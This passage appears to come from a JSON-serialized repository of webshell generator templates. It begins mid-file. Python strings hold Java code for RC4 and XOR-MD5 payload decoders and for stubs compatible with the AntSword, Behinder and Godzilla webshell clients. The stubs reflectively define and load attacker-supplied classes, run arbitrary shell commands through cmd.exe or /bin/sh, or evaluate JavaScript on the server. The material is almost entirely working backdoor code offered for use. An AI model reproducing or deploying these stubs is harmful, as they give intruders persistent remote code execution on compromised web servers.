tmp;\n                xorIndex = ((ikey[x] & 0xff) + (ikey[y] & 0xff)) & 0xff;\n                result[i] = (byte) (payload[i] ^ ikey[xorIndex]);\n            }\n            return result;\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private byte[] hasher(String str, String alg) {\n        try {\n            java.security.MessageDigest h =\n                java.security.MessageDigest.getInstance(alg);\n            return h.digest(str.getBytes());\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private byte[] decoder(String payload) {\n        return cipher(\n            b64decode(payload), \"RC4\",\n            hasher(password, \"SHA-256\"), false\n        );\n    }\n\"\"\"\n\nproc = \"\"\"\n            Class base64;\n            Object decoder;\n            byte[] bytes = null;\n            java.security.MessageDigest h;\n\n            try {\n                base64 = Class.forName(\"java.util.Base64\");\n                decoder = base64.getMethod(\"getDecoder\")\n                    .invoke(base64);\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decode\", String.class)\n                    .invoke(decoder, payload);\n            } catch (ClassNotFoundException e) {\n                try {\n                    base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                    decoder = base64.newInstance();\n                    bytes = (byte[]) decoder.getClass()\n                        .getMethod(\"decodeBuffer\", String.class)\n                        .invoke(decoder, payload);\n                } catch (Exception ex) {}\n            } catch (Exception ex) {}\n\n            h = java.security.MessageDigest.getInstance(\"SHA-256\");\n            byte[] key = h.digest(password.getBytes());\n\n            StringBuilder hkey = new StringBuilder();\n            for (byte b : key) {\n                hkey.append(String.format(\"%02x\", b));\n            }\n\n            byte[] jkey = hkey.toString().getBytes();\n            byte state[] = new byte[256];\n            for (int i = 0; i < 256; i++) {\n                state[i] = (byte) i;\n            }\n            int index1 = 0;\n            int index2 = 0;\n            for (int i = 0; i < 256; i++) {\n                index2 = ((jkey[index1] & 0xff) + (state[i] & 0xff) + index2)\n                    & 0xff;\n                byte tmp = state[i];\n                state[i] = state[index2];\n                state[index2] = tmp;\n                index1 = (index1 + 1) % jkey.length;\n            }\n\n            int x = 0;\n            int y = 0;\n            byte ikey[] = state;\n            int xorIndex;\n            byte[] result = new byte[bytes.length];\n            for (int i = 0; i < bytes.length; i++) {\n                x = (x + 1) & 0xff;\n                y = ((ikey[x] & 0xff) + y) & 0xff;\n                byte tmp = ikey[x];\n                ikey[x] = ikey[y];\n                ikey[y] = tmp;\n                xorIndex = ((ikey[x] & 0xff) + (ikey[y] & 0xff)) & 0xff;\n                result[i] = (byte) (bytes[i] ^ ikey[xorIndex]);\n            }\n            bytes = result;\n\"\"\""
  },
  {
    "path": "gist/java/decoder/xor.py",
    "content": "# XOR-MD5\ncode = \"\"\"\n    private byte[] cipher(\n        byte[] payload, String alg, byte[] key, boolean isEnc\n    ) {\n        try {\n            byte[] result = new byte[payload.length];\n            for (int i = 0; i < result.length; i++) {\n                result[i] = (byte) (payload[i] ^ key[i + 1 & 15]);\n            }\n            return result;\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private String hasher(String str, String alg) {\n        try {\n            java.security.MessageDigest h =\n                java.security.MessageDigest.getInstance(alg);\n            h.update(str.getBytes(), 0, str.length());\n            return new java.math.BigInteger(1, h.digest()).toString(16);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    private byte[] decoder(String payload) {\n        return cipher(\n            b64decode(payload), \"XOR\",\n            hasher(password, \"MD5\").substring(0, 16).getBytes(), false\n        );\n    }\n\"\"\"\n\nproc = \"\"\"\n            Class base64;\n            Object decoder;\n            byte[] bytes = null;\n            java.security.MessageDigest h;\n\n            try {\n                base64 = Class.forName(\"java.util.Base64\");\n                decoder = base64.getMethod(\"getDecoder\")\n                    .invoke(base64);\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decode\", String.class)\n                    .invoke(decoder, payload);\n            } catch (ClassNotFoundException e) {\n                try {\n                    base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                    decoder = base64.newInstance();\n                    bytes = (byte[]) decoder.getClass()\n                        .getMethod(\"decodeBuffer\", String.class)\n                        .invoke(decoder, payload);\n                } catch (Exception ex) {}\n            } catch (Exception ex) {}\n\n            h = java.security.MessageDigest.getInstance(\"MD5\");\n            h.update(password.getBytes(), 0, password.length());\n            byte[] key = new BigInteger(1, h.digest()).toString(16)\n                .substring(0, 16).getBytes();\n\n            byte[] result = new byte[bytes.length];\n            for (int i = 0; i < result.length; i++) {\n                result[i] = (byte) (bytes[i] ^ key[i + 1 & 15]);\n            }\n            bytes = result;\n\"\"\""
  },
  {
    "path": "gist/java/stub/antsword.py",
    "content": "code = \"\"\"\n    private String stub(String payload, Object request, Object response)\n            throws Exception {\n        if (payload == null) {\n            return null;\n        }\n        payload = new String(decoder(payload));\n        byte[] b = b64decode(payload);\n        Constructor constructor = java.security.SecureClassLoader.class\n            .getDeclaredConstructor(ClassLoader.class);\n        constructor.setAccessible(true);\n        ClassLoader classloader = (ClassLoader) constructor.newInstance(\n            new Object[]{this.getClass().getClassLoader()}\n        );\n        Method defineMethod = ClassLoader.class.getDeclaredMethod(\n            \"defineClass\", byte[].class, int.class, int.class\n        );\n        defineMethod.setAccessible(true);\n        ((Class) defineMethod.invoke(classloader, b, 0, b.length))\n            .newInstance().equals(request);\n        return null;\n    }\n\"\"\"\n\nproc = \"\"\"\n            payload = new String(bytes);\n            try {\n                base64 = Class.forName(\"java.util.Base64\");\n                decoder = base64.getMethod(\"getDecoder\")\n                    .invoke(base64);\n                bytes = (byte[]) decoder.getClass()\n                    .getMethod(\"decode\", String.class)\n                    .invoke(decoder, payload);\n            } catch (ClassNotFoundException e) {\n                try {\n                    base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                    decoder = base64.newInstance();\n                    bytes = (byte[]) decoder.getClass()\n                        .getMethod(\"decodeBuffer\", String.class)\n                        .invoke(decoder, payload);\n                } catch (Exception ex) {}\n            } catch (Exception ex) {}\n\n            Constructor constructor = java.security.SecureClassLoader.class\n                .getDeclaredConstructor(ClassLoader.class);\n            constructor.setAccessible(true);\n            ClassLoader classloader = (ClassLoader) constructor.newInstance(\n                new Object[]{this.getClass().getClassLoader()}\n            );\n            Method defineMethod = ClassLoader.class.getDeclaredMethod(\n                \"defineClass\", byte[].class, int.class, int.class\n            );\n            defineMethod.setAccessible(true);\n            ((Class) defineMethod.invoke(classloader, bytes, 0, bytes.length))\n                .newInstance().equals(req);\n\"\"\""
  },
  {
    "path": "gist/java/stub/behinder.py",
    "content": "code = \"\"\"\n    private String stub(String payload, Object request, Object response)\n            throws Exception {\n        if (invokeMethod(request, \"getMethod\").equals(\"POST\")) {\n            payload = (String) invokeMethod(\n                    invokeMethod(request, \"getReader\"),\"readLine\"\n            );\n            java.util.HashMap pageContext = new java.util.HashMap();\n            Object session = invokeMethod(request, \"getSession\");\n            pageContext.put(\"request\", request);\n            pageContext.put(\"response\", response);\n            pageContext.put(\"session\", session);\n            invokeMethod(session, \"putValue\",\n                'u', hasher(password, \"MD5\").substring(0, 16));\n            byte[] b = decoder(payload);\n            Constructor constructor = java.security.SecureClassLoader.class\n                .getDeclaredConstructor(ClassLoader.class);\n            constructor.setAccessible(true);\n            ClassLoader classloader = (ClassLoader) constructor.newInstance(\n                new Object[]{this.getClass().getClassLoader()}\n            );\n            Method defineMethod = ClassLoader.class.getDeclaredMethod(\n                \"defineClass\", byte[].class, int.class, int.class\n            );\n            defineMethod.setAccessible(true);\n            ((Class) defineMethod.invoke(classloader, b, 0, b.length))\n                .newInstance().equals(pageContext);\n        }\n        return null;\n    }\n\"\"\""
  },
  {
    "path": "gist/java/stub/cmd.py",
    "content": "code = \"\"\"\n    private String stub(String payload, Object request, Object response)\n            throws Exception {\n        if (payload == null) {\n            return null;\n        }\n        payload = new String(decoder(payload));\n        Process process;\n        boolean iswin = System.getProperty(\"os.name\").toLowerCase()\n            .startsWith(\"windows\");\n        if (iswin) {\n            process = Runtime.getRuntime().exec(\n                new String[] {\"cmd.exe\", \"/c\", payload}\n            );\n        } else {\n            process = Runtime.getRuntime().exec(\n                new String[] {\"/bin/sh\", \"-c\", payload}\n            );\n        }\n        java.util.Scanner i = new java.util.Scanner(process.getInputStream())\n            .useDelimiter(\"\\\\\\\\A\");\n        java.util.Scanner e = new java.util.Scanner(process.getErrorStream())\n            .useDelimiter(\"\\\\\\\\A\");\n        String result = i.hasNext()?i.next():e.hasNext()?e.next():\"\";\n        try {\n            invokeMethod(invokeMethod(response, \"getWriter\"), \"write\", result);\n        } catch (Exception ex) {}\n        return result;\n    }\n\"\"\"\n\nproc = \"\"\"\n            payload = new String(bytes);\n            Process process;\n            boolean iswin = System.getProperty(\"os.name\").toLowerCase()\n                .startsWith(\"windows\");\n            if (iswin) {\n                process = Runtime.getRuntime().exec(\n                    new String[] {\"cmd.exe\", \"/c\", payload}\n                );\n            } else {\n                process = Runtime.getRuntime().exec(\n                    new String[] {\"/bin/sh\", \"-c\", payload}\n                );\n            }\n            java.util.Scanner i = new java.util.Scanner(process.getInputStream())\n                .useDelimiter(\"\\\\\\\\A\");\n            java.util.Scanner e = new java.util.Scanner(process.getErrorStream())\n                .useDelimiter(\"\\\\\\\\A\");\n            String result = i.hasNext()?i.next():e.hasNext()?e.next():\"\";\n            res.getWriter().write(result);\n\"\"\""
  },
  {
    "path": "gist/java/stub/godzilla.py",
    "content": "code = \"\"\"\n    public String b64encode(byte[] result) {\n        Class base64;\n        String str = null;\n        try {\n            base64 = Class.forName(\"java.util.Base64\");\n            str = (String) invokeMethod(\n                getMethod(base64, \"getEncoder\").invoke(base64),\n                \"encodeToString\", result\n            );\n        } catch (ClassNotFoundException e) {\n            try {\n                base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                str = (String) invokeMethod(\n                    base64.newInstance(), \"encode\", result\n                );\n            } catch (Exception ex) {}\n        } catch (Exception ex) {}\n        return str;\n    }\n\n    private String stub(String payload, Object request, Object response)\n            throws Exception {\n        if (payload == null) {\n            return null;\n        }\n        byte b[] = decoder(payload);\n        if (lock instanceof Class) {\n            java.io.ByteArrayOutputStream arrOut =\n                new java.io.ByteArrayOutputStream();\n            Object f = invokeMethod(lock, \"newInstance\");\n            f.equals(arrOut);\n            f.equals(request);\n            f.equals(b);\n            f.toString();\n            String fix = hasher(\n                password + hasher(password, \"MD5\").substring(0, 16), \"MD5\"\n            );\n            String result = fix.substring(0, 16).toUpperCase()+\n                b64encode(cipher(arrOut.toByteArray(), \"AES\",\n                    hasher(password, \"MD5\").substring(0, 16).getBytes(), true)\n                )+\n                fix.substring(16).toUpperCase();\n            try {\n                invokeMethod(\n                    invokeMethod(response, \"getWriter\"), \"write\", result\n                );\n            } catch (Exception e) {}\n            return result;\n        } else {\n            Constructor constructor = java.security.SecureClassLoader.class\n                .getDeclaredConstructor(ClassLoader.class);\n            constructor.setAccessible(true);\n            ClassLoader classloader = (ClassLoader) constructor.newInstance(\n                new Object[]{this.getClass().getClassLoader()}\n            );\n            Method defineMethod = ClassLoader.class.getDeclaredMethod(\n                \"defineClass\", byte[].class, int.class, int.class\n            );\n            defineMethod.setAccessible(true);\n            lock = defineMethod.invoke(classloader, b, 0, b.length);\n        }\n        return null;\n    }\n\"\"\"\n\nproc = \"\"\"\n            Object god = ((HttpServletRequest) req).getSession()\n                .getAttribute(\"god\");\n            if (god instanceof Class) {\n                java.io.ByteArrayOutputStream arrOut =\n                    new java.io.ByteArrayOutputStream();\n                Object f = ((Class) god).newInstance();\n                f.equals(arrOut);\n                f.equals(req);\n                f.equals(bytes);\n                f.toString();\n                h.update(password.getBytes(), 0, password.length());\n                String h1 = new BigInteger(1, h.digest()).toString(16);\n                String h2 = password + h1.substring(0, 16);\n                h.update(h2.getBytes(), 0, h2.length());\n                String fix = new BigInteger(1, h.digest()).toString(16);\n                c.init(1, new javax.crypto.spec.SecretKeySpec(key, \"AES\"));\n                bytes = c.doFinal(arrOut.toByteArray());\n\n                String str = null;\n                try {\n                    base64 = Class.forName(\"java.util.Base64\");\n                    Object encoder = base64.getMethod(\"getEncoder\")\n                        .invoke(base64);\n                    str = (String) encoder.getClass()\n                        .getMethod(\"encodeToString\", byte[].class)\n                        .invoke(encoder, bytes);\n                } catch (ClassNotFoundException e) {\n                    try {\n                        base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                        Object encoder = base64.newInstance();\n                        str = (String) encoder.getClass().getMethod(\"encode\", byte[].class)\n                            .invoke(encoder, bytes);\n                    } catch (Exception ex) {}\n                } catch (Exception ex) {}\n\n                String result = fix.substring(0, 16).toUpperCase()+\n                    str+fix.substring(16).toUpperCase();\n                res.getWriter().write(result);\n            } else {\n                Constructor constructor = java.security.SecureClassLoader.class\n                    .getDeclaredConstructor(ClassLoader.class);\n                constructor.setAccessible(true);\n                ClassLoader classloader = (ClassLoader) constructor.newInstance(\n                    new Object[]{this.getClass().getClassLoader()}\n                );\n                Method defineMethod = ClassLoader.class.getDeclaredMethod(\n                    \"defineClass\", byte[].class, int.class, int.class\n                );\n                defineMethod.setAccessible(true);\n                ((HttpServletRequest) req).getSession().setAttribute(\n                    \"god\", defineMethod.invoke(\n                        classloader, bytes, 0, bytes.length\n                    )\n                );\n            }\n\"\"\""
  },
  {
    "path": "gist/java/stub/jspjs.py",
    "content": "code = \"\"\"\n    private String stub(String payload, Object request, Object response)\n            throws Exception {\n        if (payload == null) {\n            return null;\n        }\n        payload = new String(decoder(payload));\n        String result = (new javax.script.ScriptEngineManager()\n            .getEngineByName(\"js\").eval(payload)).toString();\n        try {\n            invokeMethod(invokeMethod(response, \"getWriter\"), \"write\", result);\n        } catch (Exception e) {}\n        return result;\n    }\n\"\"\"\n\nproc = \"\"\"\n            payload = new String(bytes);\n            String result = (new javax.script.ScriptEngineManager()\n                .getEngineByName(\"js\").eval(payload)).toString();\n            res.getWriter().write(result);\n\"\"\""
  }
]